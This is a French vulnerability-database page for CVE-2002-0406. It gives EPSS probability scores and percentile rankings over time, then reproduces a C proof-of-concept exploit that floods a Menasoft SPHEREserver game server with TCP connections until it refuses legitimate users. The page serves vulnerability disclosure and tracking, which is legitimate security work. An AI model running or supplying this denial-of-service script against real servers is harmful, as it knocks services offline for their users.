CVE-2002-0406 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	4.19%	–	–
2022-04-03	–	–	4.19%	–	–
2022-07-17	–	–	4.19%	–	–
2023-03-12	–	–	–	4.42%	–
2023-09-17	–	–	–	3.71%	–
2024-02-04	–	–	–	3.9%	–
2024-02-11	–	–	–	3.9%	–
2024-06-02	–	–	–	3.9%	–
2024-08-11	–	–	–	3.23%	–
2024-11-17	–	–	–	3.23%	–
2024-12-22	–	–	–	3.23%	–
2025-01-19	–	–	–	3.23%	–
2025-03-18	–	–	–	–	4.72%
2025-03-30	–	–	–	–	4.72%
2025-04-15	–	–	–	–	4.72%
2025-04-15	–	–	–	–	4.72,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	7%
2022-04-03	86%
2022-07-17	87%
2023-03-12	91%
2023-09-17	91%
2024-02-04	91%
2024-02-11	92%
2024-06-02	92%
2024-08-11	91%
2024-11-17	92%
2024-12-22	91%
2025-01-19	91%
2025-03-18	89%
2025-03-30	88%
2025-04-15	89%
2025-04-15	89%

// source: https://www.securityfocus.com/bid/4258/info Menasoft SPHEREserver .99 is an online role playing game server. It is vulnerable to a denial of service; multiple connections to the server can be made from a single machine, exhausting available connections and denying connections to legitimate users. /* * * www.h07.org * H Zero Seven * Unix Security Research Team * * Sphere Ultima Online Server - Denial of Service Vulnerability * poc-exploit... * * Simple code to eat all connections from the gameserver, so other * peoples could not connect to the server. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <stdarg.h> #include <time.h> #include <sys/time.h> int Connect(int ip, int port) { int fd; struct sockaddr_in tgt; fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if (fd<0) return -1; memset(&tgt,0,sizeof(struct sockaddr_in)); tgt.sin_port = htons(port); tgt.sin_family = AF_INET; tgt.sin_addr.s_addr = ip; if (connect(fd,(struct sockaddr*)&tgt,sizeof(struct sockaddr))<0) return -1; return fd; } int sprint(int fd, const char *str,...) { va_list args; char buf[4096]; memset(&buf,0,sizeof(buf)); va_start(args,str); vsnprintf(buf,sizeof(buf),str,args); return(write(fd,buf,strlen(buf))); } int main(int argc, char *argv[]) { int fd; struct sockaddr_in box; fprintf(stderr, "SphereServer DoS Exploit [poc]\n"); fprintf(stderr, "H Zero Seven - Unix Security Research Team - www.h07.org\n\n"); if (argc < 2) { fprintf(stderr, "usage: %s <sphere ip> [sphere port]\n",argv[0]); return; } fprintf(stderr,"for the full advisory regarding this vulnerability visit www.h07.org ... \n"); fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); if (fd<0) { perror("socket() "); return; } fprintf(stderr,"Attacking sphere : "); for (;;) { int sock; sock = Connect(inet_addr(argv[1]),(argc>2)?(atoi(argv[2])):3128); if (sock<0) { sleep(10); continue; } fprintf(stderr, ".*"); } }